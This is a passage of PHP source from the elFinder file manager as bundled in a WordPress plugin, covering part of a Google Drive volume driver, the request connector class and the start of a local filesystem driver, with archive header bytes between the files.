     * @author Naoki Sawada
     */
    protected function createTmb($path, $stat)
    {
        if (!$stat || !$this->canCreateTmb($path, $stat)) {
            return false;
        }

        $name = $this->tmbname($stat);
        $tmb = $this->tmbPath . DIRECTORY_SEPARATOR . $name;

        // copy image into tmbPath so some drivers does not store files on local fs
        if (!$data = $this->_gd_getThumbnail($path)) {
            return false;
        }
        if (!file_put_contents($tmb, $data)) {
            return false;
        }

        $result = false;

        $tmbSize = $this->tmbSize;

        if (($s = getimagesize($tmb)) == false) {
            return false;
        }

        /* If image smaller or equal thumbnail size - just fitting to thumbnail square */
        if ($s[0] <= $tmbSize && $s[1] <= $tmbSize) {
            $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');
        } else {
            if ($this->options['tmbCrop']) {

                /* Resize and crop if image bigger than thumbnail */
                if (!(($s[0] > $tmbSize && $s[1] <= $tmbSize) || ($s[0] <= $tmbSize && $s[1] > $tmbSize)) || ($s[0] > $tmbSize && $s[1] > $tmbSize)) {
                    $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, false, 'png');
                }

                if (($s = getimagesize($tmb)) != false) {
                    $x = $s[0] > $tmbSize ? intval(($s[0] - $tmbSize) / 2) : 0;
                    $y = $s[1] > $tmbSize ? intval(($s[1] - $tmbSize) / 2) : 0;
                    $result = $this->imgCrop($tmb, $tmbSize, $tmbSize, $x, $y, 'png');
                }
            } else {
                $result = $this->imgResize($tmb, $tmbSize, $tmbSize, true, true, 'png');
            }

            $result = $this->imgSquareFit($tmb, $tmbSize, $tmbSize, 'center', 'middle', $this->options['tmbBgColor'], 'png');
        }

        if (!$result) {
            unlink($tmb);

            return false;
        }

        return $name;
    }

    /**
     * Return thumbnail file name for required file.
     *
     * @param array $stat file stat
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function tmbname($stat)
    {
        return $this->netMountKey . $stat['iid'] . $stat['ts'] . '.png';
    }

    /**
     * Return content URL (for netmout volume driver)
     * If file.url == 1 requests from JavaScript client with XHR.
     *
     * @param string $hash    file hash
     * @param array  $options options array
     *
     * @return bool|string
     * @author Naoki Sawada
     */
    public function getContentUrl($hash, $options = [])
    {
        if (!empty($options['onetime']) && $this->options['onetimeUrl']) {
            return parent::getContentUrl($hash, $options);
        }
        if (!empty($options['temporary'])) {
            // try make temporary file
            $url = parent::getContentUrl($hash, $options);
            if ($url) {
                return $url;
            }
        }
        if (($file = $this->file($hash)) == false || !$file['url'] || $file['url'] == 1) {
            $path = $this->decode($hash);

            if ($this->_gd_publish($path)) {
                if ($raw = $this->_gd_getFile($path)) {
                    return $this->_gd_getLink($raw);
                }
            }
        }

        return false;
    }

    /**
     * Return debug info for client.
     *
     * @return array
     **/
    public function debug()
    {
        $res = parent::debug();
        if (!empty($this->options['netkey']) && empty($this->options['refresh_token']) && $this->options['access_token'] && isset($this->options['access_token']['refresh_token'])) {
            $res['refresh_token'] = $this->options['access_token']['refresh_token'];
        }

        return $res;
    }

    /*********************** paths/urls *************************/

    /**
     * Return parent directory path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dirname($path)
    {
        list(, , $parent) = $this->_gd_splitPath($path);

        return $this->_normpath($parent);
    }

    /**
     * Return file name.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _basename($path)
    {
        list(, $basename) = $this->_gd_splitPath($path);

        return $basename;
    }

    /**
     * Join dir name and file name and retur full path.
     *
     * @param string $dir
     * @param string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        return $this->_normpath($dir . '/' . str_replace('/', '\\/', $name));
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python.
     *
     * @param string $path path
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function _normpath($path)
    {
        if (DIRECTORY_SEPARATOR !== '/') {
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }
        $path = '/' . ltrim($path, '/');

        return $path;
    }

    /**
     * Return file path related to root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        return $path;
    }

    /**
     * Convert path related to root dir into real path.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _abspath($path)
    {
        return $path;
    }

    /**
     * Return fake path started from root dir.
     *
     * @param string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _path($path)
    {
        if (!$this->names) {
            $this->_gd_getDirectoryData();
        }
        $path = $this->_normpath(substr($path, strlen($this->root)));
        $names = [];
        $paths = explode('/', $path);
        foreach ($paths as $_p) {
            $names[] = isset($this->names[$_p]) ? $this->names[$_p] : $_p;
        }

        return $this->rootName . implode('/', $names);
    }

    /**
     * Return true if $path is children of $parent.
     *
     * @param string $path   path to check
     * @param string $parent parent path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _inpath($path, $parent)
    {
        return $path == $parent || strpos($path, $parent . '/') === 0;
    }

    /***************** file stat ********************/
    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally.
     * If file does not exists - returns empty array or false.
     *
     * @param string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        if ($raw = $this->_gd_getFile($path)) {
            $stat = $this->_gd_parseRaw($raw);
            if ($path === $this->root) {
                $stat['expires'] = $this->expires;
            }
            return $stat;
        }

        return false;
    }

    /**
     * Return true if path is dir and has at least one childs directory.
     *
     * @param string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _subdirs($path)
    {
        if ($this->directories === null) {
            $this->_gd_getDirectoryData();
        }
        list(, $itemId) = $this->_gd_splitPath($path);

        return isset($this->directories[$itemId]);
    }

    /**
     * Return object width and height
     * Ususaly used for images, but can be realize for video etc...
     *
     * @param string $path file path
     * @param string $mime file mime type
     *
     * @return string
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _dimensions($path, $mime)
    {
        if (strpos($mime, 'image') !== 0) {
            return '';
        }
        $ret = '';

        if ($file = $this->_gd_getFile($path)) {
            if (isset($file['imageMediaMetadata'])) {
                $ret = array('dim' => $file['imageMediaMetadata']['width'] . 'x' . $file['imageMediaMetadata']['height']);
                if (func_num_args() > 2) {
                    $args = func_get_arg(2);
                } else {
                    $args = array();
                }
                if (!empty($args['substitute'])) {
                    $tmbSize = intval($args['substitute']);
                    $srcSize = explode('x', $ret['dim']);
                    if ($srcSize[0] && $srcSize[1]) {
                        if (min(($tmbSize / $srcSize[0]), ($tmbSize / $srcSize[1])) < 1) {
                            if ($this->_gd_isPublished($file)) {
                                $tmbSize = strval($tmbSize);
                                $ret['url'] = 'https://drive.google.com/thumbnail?authuser=0&sz=s' . $tmbSize . '&id=' . $file['id'];
                            } elseif ($subImgLink = $this->getSubstituteImgLink(elFinder::$currentArgs['target'], $srcSize)) {
                                $ret['url'] = $subImgLink;
                            }
                        }
                    }
                }
            }
        }

        return $ret;
    }

    /******************** file/dir content *********************/

    /**
     * Return files list in directory.
     *
     * @param string $path dir path
     *
     * @return array
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    protected function _scandir($path)
    {
        return isset($this->dirsCache[$path])
            ? $this->dirsCache[$path]
            : $this->cacheDir($path);
    }

    /**
     * Open file and return file pointer.
     *
     * @param string $path  file path
     * @param bool   $write open file for writing
     *
     * @return resource|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _fopen($path, $mode = 'rb')
    {
        if ($mode === 'rb' || $mode === 'r') {
            if ($file = $this->_gd_getFile($path)) {
                if ($dlurl = $this->_gd_getDownloadUrl($file)) {
                    $token = $this->client->getAccessToken();
                    if (!$token && $this->client->isUsingApplicationDefaultCredentials()) {
                        $this->client->fetchAccessTokenWithAssertion();
                        $token = $this->client->getAccessToken();
                    }
                    $access_token = '';
                    if (is_array($token)) {
                        $access_token = $token['access_token'];
                    } else {
                        if ($token = json_decode($this->client->getAccessToken())) {
                            $access_token = $token->access_token;
                        }
                    }
                    if ($access_token) {
                        $data = array(
                            'target' => $dlurl,
                            'headers' => array('Authorization: Bearer ' . $access_token),
                        );

                        // to support range request
                        if (func_num_args() > 2) {
                            $opts = func_get_arg(2);
                        } else {
                            $opts = array();
                        }
                        if (!empty($opts['httpheaders'])) {
                            $data['headers'] = array_merge($opts['httpheaders'], $data['headers']);
                        }

                        return elFinder::getStreamByUrl($data);
                    }
                }
            }
        }

        return false;
    }

    /**
     * Close opened file.
     *
     * @param resource $fp file pointer
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
        if ($path) {
            unlink($this->getTempFile($path));
        }
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        $path = $this->_joinPath($path, $name);
        list($parentId, , $parent) = $this->_gd_splitPath($path);

        try {
            $file = new \Google_Service_Drive_DriveFile();

            $file->setName($name);
            $file->setMimeType(self::DIRMIME);
            $file->setParents([$parentId]);

            //create the Folder in the Parent
            $obj = $this->service->files->create($file);

            if ($obj instanceof Google_Service_Drive_DriveFile) {
                $path = $this->_joinPath($parent, $obj['id']);
                $this->_gd_getDirectoryData(false);

                return $path;
            } else {
                return false;
            }
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }
    }

    /**
     * Create file and return it's path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkfile($path, $name)
    {
        return $this->_save($this->tmpfile(), $path, $name, []);
    }

    /**
     * Create symlink. FTP driver does not support symlinks.
     *
     * @param string $target link target
     * @param string $path   symlink path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _symlink($target, $path, $name)
    {
        return false;
    }

    /**
     * Copy file into another file.
     *
     * @param string $source    source file path
     * @param string $targetDir target directory path
     * @param string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $source = $this->_normpath($source);
        $targetDir = $this->_normpath($targetDir);

        try {
            $file = new \Google_Service_Drive_DriveFile();
            $file->setName($name);

            //Set the Parent id
            list(, $parentId) = $this->_gd_splitPath($targetDir);
            $file->setParents([$parentId]);

            list(, $srcId) = $this->_gd_splitPath($source);
            $file = $this->service->files->copy($srcId, $file, ['fields' => self::FETCHFIELDS_GET]);
            $itemId = $file->id;

            return $itemId;
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param string $source source file path
     * @param string $target target dir path
     * @param string $name   file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _move($source, $targetDir, $name)
    {
        list($removeParents, $itemId) = $this->_gd_splitPath($source);
        $target = $this->_normpath($targetDir . '/' . $itemId);
        try {
            //moving and renaming a file or directory
            $files = new \Google_Service_Drive_DriveFile();
            $files->setName($name);

            //Set new Parent and remove old parent
            list(, $addParents) = $this->_gd_splitPath($targetDir);
            $opts = ['addParents' => $addParents, 'removeParents' => $removeParents];

            $file = $this->service->files->update($itemId, $files, $opts);

            if ($file->getMimeType() === self::DIRMIME) {
                $this->_gd_getDirectoryData(false);
            }
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }

        return $target;
    }

    /**
     * Remove file.
     *
     * @param string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        try {
            $files = new \Google_Service_Drive_DriveFile();
            $files->setTrashed(true);

            list($pid, $itemId) = $this->_gd_splitPath($path);
            $opts = ['removeParents' => $pid];
            $this->service->files->update($itemId, $files, $opts);
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Remove dir.
     *
     * @param string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        $res = $this->_unlink($path);
        $res && $this->_gd_getDirectoryData(false);

        return $res;
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param resource $fp   file pointer
     * @param          $path
     * @param string   $name file name
     * @param array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     */
    protected function _save($fp, $path, $name, $stat)
    {
        if ($name !== '') {
            $path .= '/' . str_replace('/', '\\/', $name);
        }
        list($parentId, $itemId, $parent) = $this->_gd_splitPath($path);
        if ($name === '') {
            $stat['iid'] = $itemId;
        }

        if (!$stat || empty($stat['iid'])) {
            $opts = [
                'q' => sprintf('trashed=false and "%s" in parents and name="%s"', $parentId, $name),
                'fields' => self::FETCHFIELDS_LIST,
            ];
            $srcFile = $this->_gd_query($opts);
            $srcFile = empty($srcFile) ? null : $srcFile[0];
        } else {
            $srcFile = $this->_gd_getFile($path);
        }

        try {
            $mode = 'update';
            $mime = isset($stat['mime']) ? $stat['mime'] : '';

            $file = new Google_Service_Drive_DriveFile();
            if ($srcFile) {
                $mime = $srcFile->getMimeType();
            } else {
                $mode = 'insert';
                $file->setName($name);
                $file->setParents([
                    $parentId,
                ]);
            }

            if (!$mime) {
                $mime = self::mimetypeInternalDetect($name);
            }
            if ($mime === 'unknown') {
                $mime = 'application/octet-stream';
            }
            $file->setMimeType($mime);

            $size = 0;
            if (isset($stat['size'])) {
                $size = $stat['size'];
            } else {
                $fstat = fstat($fp);
                if (!empty($fstat['size'])) {
                    $size = $fstat['size'];
                }
            }

            // set chunk size (max: 100MB)
            $chunkSizeBytes = 100 * 1024 * 1024;
            if ($size > 0) {
                $memory = elFinder::getIniBytes('memory_limit');
                if ($memory > 0) {
                    $chunkSizeBytes = max(262144, min([$chunkSizeBytes, (intval($memory / 4 / 256) * 256)]));
                }
            }

            if ($size > $chunkSizeBytes) {
                $client = $this->client;
                // Call the API with the media upload, defer so it doesn't immediately return.
                $client->setDefer(true);
                if ($mode === 'insert') {
                    $request = $this->service->files->create($file, [
                        'fields' => self::FETCHFIELDS_GET,
                    ]);
                } else {
                    $request = $this->service->files->update($srcFile->getId(), $file, [
                        'fields' => self::FETCHFIELDS_GET,
                    ]);
                }

                // Create a media file upload to represent our upload process.
                $media = new Google_Http_MediaFileUpload($client, $request, $mime, null, true, $chunkSizeBytes);
                $media->setFileSize($size);
                // Upload the various chunks. $status will be false until the process is
                // complete.
                $status = false;
                while (!$status && !feof($fp)) {
                    elFinder::checkAborted();
                    // read until you get $chunkSizeBytes from TESTFILE
                    // fread will never return more than 8192 bytes if the stream is read buffered and it does not represent a plain file
                    // An example of a read buffered file is when reading from a URL
                    $chunk = $this->_gd_readFileChunk($fp, $chunkSizeBytes);
                    $status = $media->nextChunk($chunk);
                }
                // The final value of $status will be the data from the API for the object
                // that has been uploaded.
                if ($status !== false) {
                    $obj = $status;
                }

                $client->setDefer(false);
            } else {
                $params = [
                    'data' => stream_get_contents($fp),
                    'uploadType' => 'media',
                    'fields' => self::FETCHFIELDS_GET,
                ];
                if ($mode === 'insert') {
                    $obj = $this->service->files->create($file, $params);
                } else {
                    $obj = $this->service->files->update($srcFile->getId(), $file, $params);
                }
            }
            if ($obj instanceof Google_Service_Drive_DriveFile) {
                return $this->_joinPath($parent, $obj->getId());
            } else {
                return false;
            }
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }
    }

    /**
     * Get file contents.
     *
     * @param string $path file path
     *
     * @return string|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _getContents($path)
    {
        $contents = '';

        try {
            list(, $itemId) = $this->_gd_splitPath($path);

            $contents = $this->service->files->get($itemId, [
                'alt' => 'media',
            ]);
            $contents = (string)$contents->getBody();
        } catch (Exception $e) {
            return $this->setError('GoogleDrive error: ' . $e->getMessage());
        }

        return $contents;
    }

    /**
     * Write a string to a file.
     *
     * @param string $path    file path
     * @param string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        $res = false;

        if ($local = $this->getTempFile($path)) {
            if (file_put_contents($local, $content, LOCK_EX) !== false
                && ($fp = fopen($local, 'rb'))) {
                clearstatcache();
                $res = $this->_save($fp, $path, '', []);
                fclose($fp);
            }
            file_exists($local) && unlink($local);
        }

        return $res;
    }

    /**
     * Detect available archivers.
     **/
    protected function _checkArchivers()
    {
        // die('Not yet implemented. (_checkArchivers)');
        return [];
    }

    /**
     * chmod implementation.
     *
     * @return bool
     **/
    protected function _chmod($path, $mode)
    {
        return false;
    }

    /**
     * Unpack archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return void
     * @author Dmitry (dio) Levashov
     * @author Alexey Sukhotin
     */
    protected function _unpack($path, $arc)
    {
        die('Not yet implemented. (_unpack)');
        //return false;
    }

    /**
     * Extract files from archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return void
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _extract($path, $arc)
    {
        die('Not yet implemented. (_extract)');
    }

    /**
     * Create archive and return its path.
     *
     * @param string $dir   target dir
     * @param array  $files files names list
     * @param string $name  archive name
     * @param array  $arc   archiver options
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _archive($dir, $files, $name, $arc)
    {
        die('Not yet implemented. (_archive)');
    }
} // END class
PK���[f��P(1(1Hwp-content/plugins/fileorganizer/manager/php/elFinderConnector.class.phpnu�[���<?php

/**
 * Default elFinder connector
 *
 * @author Dmitry (dio) Levashov
 **/
class elFinderConnector
{
    /**
     * elFinder instance
     *
     * @var elFinder
     **/
    protected $elFinder;

    /**
     * Options
     *
     * @var array
     **/
    protected $options = array();

    /**
     * Must be use output($data) $data['header']
     *
     * @var string
     * @deprecated
     **/
    protected $header = '';

    /**
     * HTTP request method
     *
     * @var string
     */
    protected $reqMethod = '';

    /**
     * Content type of output JSON
     *
     * @var string
     */
    protected static $contentType = 'Content-Type: application/json; charset=utf-8';

    /**
     * Constructor
     *
     * @param      $elFinder
     * @param bool $debug
     *
     * @author Dmitry (dio) Levashov
     */
    public function __construct($elFinder, $debug = false)
    {

        $this->elFinder = $elFinder;
        $this->reqMethod = strtoupper($_SERVER["REQUEST_METHOD"]);
        if ($debug) {
            self::$contentType = 'Content-Type: text/plain; charset=utf-8';
        }
    }

    /**
     * Execute elFinder command and output result
     *
     * @return void
     * @throws Exception
     * @author Dmitry (dio) Levashov
     */
    public function run()
    {
        $isPost = $this->reqMethod === 'POST';
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
        $maxInputVars = (!$src || isset($src['targets'])) ? ini_get('max_input_vars') : null;
        if ((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')) {
            // for max_input_vars and supports IE XDomainRequest()
            $parts = explode('&', $rawPostData);
            if (!$src || $maxInputVars < count($parts)) {
                $src = array();
                foreach ($parts as $part) {
                    list($key, $value) = array_pad(explode('=', $part), 2, '');
                    $key = rawurldecode($key);
                    if (preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)) {
                        $key = $m[1];
                        $idx = $m[2];
                        if (!isset($src[$key])) {
                            $src[$key] = array();
                        }
                        if ($idx) {
                            $src[$key][$idx] = rawurldecode($value);
                        } else {
                            $src[$key][] = rawurldecode($value);
                        }
                    } else {
                        $src[$key] = rawurldecode($value);
                    }
                }
                $_POST = $this->input_filter($src);
                $_REQUEST = $this->input_filter(array_merge_recursive($src, $_REQUEST));
            }
        }

        if (isset($src['targets']) && $this->elFinder->maxTargets && count($src['targets']) > $this->elFinder->maxTargets) {
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_MAX_TARGTES)));
        }

        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args = array();

        if (!function_exists('json_encode')) {
            $error = $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_JSON);
            $this->output(array('error' => '{"error":["' . implode('","', $error) . '"]}', 'raw' => true));
        }

        if (!$this->elFinder->loaded()) {
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONF, elFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors));
        }

        // telepat_mode: on
        if (!$cmd && $isPost) {
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOAD, elFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html'));
        }
        // telepat_mode: off

        if (!$this->elFinder->commandExists($cmd)) {
            $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
        }

        // collect required arguments to exec command
        $hasFiles = false;
        foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
            if ($name === 'FILES') {
                if (isset($_FILES)) {
                    $hasFiles = true;
                } elseif ($req) {
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
                    $arg = trim($arg);
                }
                if ($req && $arg === '') {
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
                $args[$name] = $arg;
            }
        }

        $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;

        $args = $this->input_filter($args);
        if ($hasFiles) {
            $args['FILES'] = $_FILES;
        }

        try {
            $this->output($this->elFinder->exec($cmd, $args));
        } catch (elFinderAbortException $e) {
            // connection aborted
            // unlock session data for multiple access
            $this->elFinder->getSession()->close();
            // HTTP response code
            header('HTTP/1.0 204 No Content');
            // clear output buffer
            while (ob_get_level() && ob_end_clean()) {
            }
            exit();
        }
    }

    /**
     * Sets the header.
     *
     * @param array|string  $value HTTP header(s)
     */
    public function setHeader($value)
    {
        $this->header = $value;
    }

    /**
     * Output json
     *
     * @param  array  data to output
     *
     * @return void
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function output(array $data)
    {
        // unlock session data for multiple access
        $this->elFinder->getSession()->close();
        // client disconnect should abort
        ignore_user_abort(false);

        if ($this->header) {
            self::sendHeader($this->header);
        }

        if (isset($data['pointer'])) {
            // set time limit to 0
            elFinder::extendTimeLimit(0);

            // send optional header
            if (!empty($data['header'])) {
                self::sendHeader($data['header']);
            }

            // clear output buffer
            while (ob_get_level() && ob_end_clean()) {
            }

            $toEnd = true;
            $fp = $data['pointer'];
            $sendData = !($this->reqMethod === 'HEAD' || !empty($data['info']['xsendfile']));
            $psize = null;
            if (($this->reqMethod === 'GET' || !$sendData)
                && (elFinder::isSeekableStream($fp) || elFinder::isSeekableUrl($fp))
                && (array_search('Accept-Ranges: none', headers_list()) === false)) {
                header('Accept-Ranges: bytes');
                if (!empty($_SERVER['HTTP_RANGE'])) {
                    $size = $data['info']['size'];
                    $end = $size - 1;
                    if (preg_match('/bytes=(\d*)-(\d*)(,?)/i', $_SERVER['HTTP_RANGE'], $matches)) {
                        if (empty($matches[3])) {
                            if (empty($matches[1]) && $matches[1] !== '0') {
                                $start = $size - $matches[2];
                            } else {
                                $start = intval($matches[1]);
                                if (!empty($matches[2])) {
                                    $end = intval($matches[2]);
                                    if ($end >= $size) {
                                        $end = $size - 1;
                                    }
                                    $toEnd = ($end == ($size - 1));
                                }
                            }
                            $psize = $end - $start + 1;

                            header('HTTP/1.1 206 Partial Content');
                            header('Content-Length: ' . $psize);
                            header('Content-Range: bytes ' . $start . '-' . $end . '/' . $size);

                            // Apache mod_xsendfile dose not support range request
                            if (isset($data['info']['xsendfile']) && strtolower($data['info']['xsendfile']) === 'x-sendfile') {
                                if (function_exists('header_remove')) {
                                    header_remove($data['info']['xsendfile']);
                                } else {
                                    header($data['info']['xsendfile'] . ':');
                                }
                                unset($data['info']['xsendfile']);
                                if ($this->reqMethod !== 'HEAD') {
                                    $sendData = true;
                                }
                            }

                            $sendData && !elFinder::isSeekableUrl($fp) && fseek($fp, $start);
                        }
                    }
                }
                if ($sendData && is_null($psize)) {
                    elFinder::rewind($fp);
                }
            } else {
                header('Accept-Ranges: none');
                if (isset($data['info']) && !$data['info']['size']) {
                    if (function_exists('header_remove')) {
                        header_remove('Content-Length');
                    } else {
                        header('Content-Length:');
                    }
                }
            }

            if ($sendData) {
                if ($toEnd || elFinder::isSeekableUrl($fp)) {
                    // PHP < 5.6 has a bug of fpassthru
                    // see https://bugs.php.net/bug.php?id=66736
                    if (version_compare(PHP_VERSION, '5.6', '<')) {
                        file_put_contents('php://output', $fp);
                    } else {
                        fpassthru($fp);
                    }
                } else {
                    $out = fopen('php://output', 'wb');
                    stream_copy_to_stream($fp, $out, $psize);
                    fclose($out);
                }
            }

            if (!empty($data['volume'])) {
                $data['volume']->close($fp, $data['info']['hash']);
            } else {
                fclose($fp);
            }
            exit();
        } else {
            self::outputJson($data);
            exit(0);
        }
    }

    /**
     * Remove null & stripslashes applies on "magic_quotes_gpc"
     *
     * @param  mixed $args
     *
     * @return mixed
     * @author Naoki Sawada
     */
    protected function input_filter($args)
    {
        static $magic_quotes_gpc = NULL;

        if ($magic_quotes_gpc === NULL)
            $magic_quotes_gpc = (version_compare(PHP_VERSION, '5.4', '<') && get_magic_quotes_gpc());

        if (is_array($args)) {
            return array_map(array(& $this, 'input_filter'), $args);
        }
        $res = str_replace("\0", '', $args);
        $magic_quotes_gpc && ($res = stripslashes($res));
        $res = stripslashes($res);
        return $res;
    }

    /**
     * Send HTTP header
     *
     * @param string|array $header optional header
     */
    protected static function sendHeader($header = null)
    {
        if ($header) {
            if (is_array($header)) {
                foreach ($header as $h) {
                    header($h);
                }
            } else {
                header($header);
            }
        }
    }

    /**
     * Output JSON
     *
     * @param array $data
     */
    public static function outputJson($data)
    {
        // send header
        $header = isset($data['header']) ? $data['header'] : self::$contentType;
        self::sendHeader($header);

        unset($data['header']);

        if (!empty($data['raw']) && isset($data['error'])) {
            $out = $data['error'];
        } else {
            if (isset($data['debug']) && isset($data['debug']['backendErrors'])) {
                $data['debug']['backendErrors'] = array_merge($data['debug']['backendErrors'], elFinder::$phpErrors);
            }
            $out = json_encode($data);
        }

        // clear output buffer
        while (ob_get_level() && ob_end_clean()) {
        }

        header('Content-Length: ' . strlen($out));

        echo $out;

        flush();
    }
}// END class 
PK���[^�K�K�Twp-content/plugins/fileorganizer/manager/php/elFinderVolumeLocalFileSystem.class.phpnu�[���<?php

// Implement similar functionality in PHP 5.2 or 5.3
// http://php.net/manual/class.recursivecallbackfilteriterator.php#110974
if (!class_exists('RecursiveCallbackFilterIterator', false)) {
    class RecursiveCallbackFilterIterator extends RecursiveFilterIterator
    {
        private $callback;

        public function __construct(RecursiveIterator $iterator, $callback)
        {
            $this->callback = $callback;
            parent::__construct($iterator);
        }

        public function accept()
        {
            return call_user_func($this->callback, parent::current(), parent::key(), parent::getInnerIterator());
        }

        public function getChildren()
        {
            return new self($this->getInnerIterator()->getChildren(), $this->callback);
        }
    }
}

/**
 * elFinder driver for local filesystem.
 *
 * @author Dmitry (dio) Levashov
 * @author Troex Nevelin
 **/
class elFinderVolumeLocalFileSystem extends elFinderVolumeDriver
{

    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id
     *
     * @var string
     **/
    protected $driverId = 'l';

    /**
     * Required to count total archive files size
     *
     * @var int
     **/
    protected $archiveSize = 0;

    /**
     * Is checking stat owner
     *
     * @var        boolean
     */
    protected $statOwner = false;

    /**
     * Path to quarantine directory
     *
     * @var string
     */
    private $quarantine;

    /**
     * Constructor
     * Extend options with required fields
     *
     * @author Dmitry (dio) Levashov
     */
    public function __construct()
    {
        $this->options['alias'] = '';              // alias to replace root dir name
        $this->options['dirMode'] = 0755;            // new dirs mode
        $this->options['fileMode'] = 0644;            // new files mode
        $this->options['rootCssClass'] = 'elfinder-navbar-root-local';
        $this->options['followSymLinks'] = true;
        $this->options['detectDirIcon'] = '';         // file name that is detected as a folder icon e.g. '.diricon.png'
        $this->options['keepTimestamp'] = array('copy', 'move'); // keep timestamp at inner filesystem allowed 'copy', 'move' and 'upload'
        $this->options['substituteImg'] = true;       // support substitute image with dim command
        $this->options['statCorrector'] = null;       // callable to correct stat data `function(&$stat, $path, $statOwner, $volumeDriveInstance){}`
        if (DIRECTORY_SEPARATOR === '/') {
            // Linux
            $this->options['acceptedName'] = '/^[^\.\/\x00][^\/\x00]*$/';
        } else {
            // Windows
            $this->options['acceptedName'] = '/^[^\.\/\x00\\\:*?"<>|][^\/\x00\\\:*?"<>|]*$/';
        }
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare driver before mount volume.
     * Return true if volume is ready.
     *
     * @return bool
     **/
    protected function init()
    {
        // Normalize directory separator for windows
        if (DIRECTORY_SEPARATOR !== '/') {
